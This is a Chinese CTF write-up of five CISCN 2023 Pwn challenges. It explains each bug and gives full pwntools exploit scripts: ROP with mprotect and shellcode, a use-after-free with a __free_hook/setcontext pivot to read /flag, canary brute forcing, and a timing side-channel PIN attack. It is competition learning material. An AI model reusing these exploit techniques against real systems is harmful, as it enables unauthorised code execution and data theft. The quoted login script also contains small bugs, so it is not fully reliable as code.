第一次跟着校内大爹出去打国赛。
有输出,WIN!
CISCN 2023 初赛 Pwn WriteUp
附件分流:
Pwn: Here
Re(only day1-20230527): Here
day1-shaokao
改名函数有个明显的栈溢出。
随便看看就能看到有个可以白吃白喝让老板倒找钱给你的洞。在这里输入负数即可。
然后承包之,就可以改名了。进而栈溢出。
然后发现程序里有mprotect
,考虑改rwx。
直接改name那个0x1000会炸不知道为什么,后来改到bss高地址可以。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#s=process("./shaokao")
s=remote("123.56.251.120",21758)
elf=ELF("./shaokao")
rdi=0x40264f
rsi=0x40a67e
rax_rdx_rbx=0x4a404a
binsh=0x4E60F0
mprotect=elf.sym.mprotect
def menu(ch):
s.sendlineafter(b"> ",str(ch).encode())
if __name__=="__main__":
menu(1)
s.sendline(b"1")
sleep(0.5)
s.sendline(b"-10000")
menu(4)
menu(5)
p=flat([
b"/bin/sh\x00\x0f\x05".ljust(0x28,b"\x90"),
rdi,0x4ea000,
rsi,0x1000,
rax_rdx_rbx,0x0,0x7,0x0,
mprotect,
rdi,0,
rsi,0x4ea000,
rax_rdx_rbx,0,0x1000,0,
elf.sym.read,
0x4ea000,
])
""""""
s.sendlineafter("请赐名:",p)
sleep(0.5)
s.send(asm(shellcraft.sh()))
s.interactive()
|
day1-Strange Talk Bot
先不看最开始对输入处理的那个函数,先看后面的。
稍微逆一逆:
2.31的UAF,限制很宽松,最多0x20个堆块,堆块大小和输入长度最大0xf0,删除处有UAF,堆列表不可覆盖(即如果此位置申请过堆块不能再在这个位置申请)。
后面这部分就是随便玩了,构造大堆块,伪造指针,free后show之,libc和heap的base就都有了。剩下就是常规orw。
至于前面,那4byte丢到google看一下能搜到protobuf相关内容,小猜一手前面套了一层protobuf。
然后随便看看strings,找到这里:
几个字段也就有了,再在周围找找id和数据类型。
对几个字符串解引用:
可以看到几个字符串解引用后基本都是这个结构,第一个是tag
,第二个是数据类型,参见官方文档,第三个似乎是某种偏移,本次利用中没有用到,没有深入研究。
然后就可以开始着手写proto了。格式参见此处。
关于下面的required和optional:
本来函数是不需要msgsize和msgcontent的,但是调试的时候发现会炸所以全改成required了。
写wp的时候才反应过来似乎留着optional但都加上就可以了 wssb
1
2
3
4
5
6
7
8
9
10
|
syntax = "proto2";
package test;
message Msg {
required int64 actionid = 1;
required int64 msgidx = 2;
required int64 msgsize = 3;
required bytes msgcontent = 4;
}
|
然后用protoc
编译之,安装及命令行从略。
生成的py代码跟文档中不太一样,这里参照这份WP中的内容略作添加。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: test.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\ntest.proto\x12\x04test\"L\n\x03Msg\x12\x10\n\x08\x61\x63tionid\x18\x01 \x02(\x03\x12\x0e\n\x06msgidx\x18\x02 \x02(\x03\x12\x0f\n\x07msgsize\x18\x03 \x02(\x03\x12\x12\n\nmsgcontent\x18\x04 \x02(\x0c')
_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'test_pb2', _globals)
if _descriptor._USE_C_DESCRIPTORS == False:
DESCRIPTOR._options = None
_globals['_MSG']._serialized_start=20
_globals['_MSG']._serialized_end=96
# @@protoc_insertion_point(module_scope)
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
Msg=_reflection.GeneratedProtocolMessageType("Msg",(_message.Message,), dict(
DESCRIPTOR = _globals["_MSG"],
__module__ = "test_pb2"
))
_sym_db.RegisterMessage(Msg)
|
然后就可以开调了。
埋在参数处理中的坑:actionid
、msgidx
、msgsize
都需要在原大小基础上*2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
from pwn import *
import test_pb2
context(arch="amd64",log_level="debug")
s=process('./pwn')
s=remote("39.105.26.155",14934)
libc=ELF("./libc-2.31 (2).so")
time_val=0.01
def add(idx,sz,content=b"/flag\x00\x00\x00"):
s.recvuntil(b"now: \n")
dat=test_pb2.Msg()
dat.actionid=1*2
dat.msgidx=idx*2
dat.msgsize=sz*2
dat.msgcontent=content
s.send(dat.SerializeToString())
sleep(time_val)
def edit(idx,sz,content=b"/flag\x00\x00\x00"):
s.recvuntil(b"now: \n")
dat=test_pb2.Msg()
dat.actionid=2*2
dat.msgidx=idx*2
dat.msgsize=sz*2
dat.msgcontent=content
s.send(dat.SerializeToString())
sleep(time_val)
def show(idx):
s.recvuntil(b"now: \n")
dat=test_pb2.Msg()
dat.actionid=3*2
dat.msgidx=idx*2
dat.msgsize=0x40
dat.msgcontent=b"/flag\x00\x00\x00"
s.send(dat.SerializeToString())
sleep(time_val)
def delete(idx):
s.recvuntil(b"now: \n")
dat=test_pb2.Msg()
dat.actionid=4*2
dat.msgidx=idx*2
dat.msgsize=0x40
dat.msgcontent=b"/flag\x00\x00\x00"
s.send(dat.SerializeToString())
sleep(time_val)
if __name__=="__main__":
sleep(3)
for i in range(3):
add(i,0xf0,b"/flag\x00\x00\x00"+p64(0)*4+p64(0x431))
for i in range(2):
delete(i)
show(1)
heap_base=u64(s.recv(6).ljust(8,b"\x00"))&0xfffffffffffff000
success("heap base: "+hex(heap_base))
edit(1,8,p64(heap_base+0x320))
add(4,0xf0)
add(5,0xf0)
delete(5)
show(5)
s.recv(0x70)
libc_base=u64(s.recv(6).ljust(8,b"\x00"))-(0x7f5b95523be0-0x7f5b95337000)
success("libc base: "+hex(libc_base))
flag=heap_base+0x2f0
magic=libc_base+0x151990
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx=libc_base+0x0000000000142c92
ret=libc_base+0x55042
setcontext=libc_base+libc.sym.setcontext+61
copen=libc_base+libc.sym.open
cread=libc_base+libc.sym.read
cwrite=libc_base+libc.sym.write
payload=flat([
rdi,flag,
rsi,0,rdx,0,
copen,
rdi,3,rsi,heap_base+0x500,rdx,0x100,
cread,
rdi,1,
cwrite
])
_rdx_=heap_base+0xa60
orw=heap_base+0xd20
pivot=flat({
8:_rdx_,
0x20:setcontext,
0xa8:ret,
0xa0:orw,
})
add(12,0xe0)
add(13,0xe0)
add(6,0xe0)
add(7,0xe0)
add(8,0xe0,payload)
delete(12)
delete(13)
delete(7)
delete(6)
edit(7,8,p64(libc_base+libc.sym.__free_hook))
add(9,0xe0,pivot)
add(10,0xe0)
add(11,0xe0,p64(magic))
delete(9)
s.interactive()
|
day2-funcanary
基于fork的程序canary都一样,one-by-one爆破即可。
最后partial-overwrite返回地址到后门。
那个random属于是脑洞了,爆了一上午没爆出来加了个random秒出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("123.56.236.235",34266)
#s=process("./funcanary")
elf=ELF("./funcanary")
def ssp():
p=b"a"*104
start=len(p)
stop=len(p)+8
while len(p)<stop:
for i in range(256):
s.recvline()
s.send(p+int.to_bytes(i,length=1,byteorder='little'))
res=s.recvline()
if res==b"have fun\n":
p+=int.to_bytes(i,length=1,byteorder='little')
success(hex(i))
break
return p
if __name__=="__main__":
p=ssp()+b"a"*8+b"\x31"
print(p)
s.recv()
while 1:
s.send(p+int.to_bytes(random.randint(1,15)*16+2,length=1,byteorder="little"))
res=s.recvline()
print(res)
if res!=b"welcome\n":
success(res)
pause()
s.interactive()
|
day2-shell-we-go 复现
参考writeup:
先用finger梭一下。(如果你选的是recongnize all
,那你需要等亿会)
如果你finger正常走官网流程安装但菜单栏里看不到finger选项可以试试这个
然后就能发现出了一堆函数,但是main.main
还是没出来,不过至少比啥也没有强。
遇事不决调一调,看看strings。
结合启动程序随便输点啥都报Cert Is A Must
,搜一下,看到Cert Complete
,解引用,就能看到疑似处理证书的汇编了。
但是IDA 7.7没法无脑F5,可以nop掉出错的地方,或者配合流程图硬啃汇编。
经过符号恢复后很明显能看出来rc4加密。v3是key,result是密文。
然后解密之,
得到字符串S33UAga1n@#!
,不知道怎么用,先留着。
然后看看call它的函数都干了什么。
从cert的链追上去。
可以看到还比了一个字符串nAcDsMicN
,长度9,正好与上一个块中的cmp内容一致,也先留着。
再往上看,有个cmp rbx,3
不知道是干什么用的,再往上看也没找到直接操作rbx的汇编,但看到有call strings_genSplit
,猜测可能是以空格来分离命令和参数,以备下一步处理。
通过动调也能看出来,此处rbx被修改,含义为以空格为分隔符,分割后的字符串个数。
官方abi文档里也写到:
Architecture specifics
This section describes per-architecture register mappings, as well as other per-architecture special cases.
amd64 architecture
The amd64 architecture uses the following sequence of 9 registers for integer arguments and results:
RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11
这样一来cmp rbx,3
就是在看argc
了。
逆到这里就可以把两个字符串丢进去了。按处理顺序丢,就能发现进入内层shell了。
随便看看发现除了echo
之外也没什么输入点,估计洞也就出在echo这里。
跟进处echo handler:
前一个while对所有参数进行长度检查并拼接,单个参数长度大于256就return 0
。但是没有检查拼接后的内容长度,显然这里有个栈溢出。
下一步,便利参数串中内容,如果不是+号就复制到栈上。
先瞎坤⑧发一波看看,发现并不是炸在ret处,猜测可能有其他验证,那就想办法用+跳过相关指针,打ROP即可。
程序中存在字符串且gadget齐全(甚至连syscall;ret
都有),也有flag相关字符串,考虑orw。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
s=process("./shell-we-go")
if __name__=="__main__":
s.sendlineafter(b"ciscnshell$ ",b"cert nAcDsMicN S33UAga1n@#!")
rax=0x000000000040d9e6
rdi=0x0000000000444fec
rsi=0x000000000041e818
rdx=0x000000000049e11d
syscall_ret=0x00000000004636e9
flag_str=0x4C3A6D
rop_chain=flat([
rdi,flag_str,
rsi,0,
rdx,0,
rax,2,
syscall_ret,
rdi,3,
rsi,0x5b4000,
rdx,0x100,
rax,0,
syscall_ret,
rdi,1,
rax,1,
syscall_ret,
])
s.sendlineafter(b"nightingale# ",b"echo "+b'+'*0x160+b' '+b'+'*0x140+b' '+b'+'*3+rop_chain)
s.interactive()
|
day2-login 复现
参考WP:
AGCTF
脑洞题,谁知道你这个PIN会不会变,如果加了个random直接全线爆炸。
确实,不给附件就纯猜。
由于附件和环境都没了,这里简单说下思路:
nc连上去之后会给你个菜单,1注册2登录3忘记密码4退出。
注册是假的,没这个功能,登录需要密码,但目前啥也不知道,还开了canary,栈溢出就别想了,只能走忘记密码。
忘记密码会向你要8位数字PIN,可以爆但是一共1e9,emmm。
如果PIN不变,这里就可以用侧信道爆破。
针对每一位PIN,多发几次,统计总时间,看看有没有统计学意义上的不同。
如果有一个值显著偏高或偏低,那就可以认为它有概率是正确的PIN。
来自参考WP中的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def ru(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def getpin(pin):
subtime = -1
res =''
for c in a:
pin_o = pin+c+'0'*(7-len(pin))
sum=0
for _ in range(10):
ru('>')
sl(b'3')
ru(b"PIN code: ")
start=time.time()
sl(pin_o)
rev=ru(b'\n')
if b"Wrong PIN code" in rev:
pass
else:
print(pin_0)
break
end=time.time()
sum+=(end-start)
print(cur,sum)
avgtime=sum
if(avgtime>subtime):
subtime=avgtime
res=c
return res
a='0123456789'
p= remote("123.56.238.150",45118)
pin=''
for i in range(8):
pin+=getpin(pin)
print("PIN:",pin)
ru(b'>')
sl(b'2')
ru(b'PASSWD')
sl(b"123456")
ru(b'$')
sl(b"cat flag")
p.interactive()
#flag{d39a1013-e066-4d64-8558-4a5855fb7303} pin code : 54730891
|
END?
算是第一次跟着学校里的爹组队,除了Pwn都在带飞,我纯纯fw。
听说半决赛还是awdp,更是第一次打。
不期望太多,有输出就是胜利(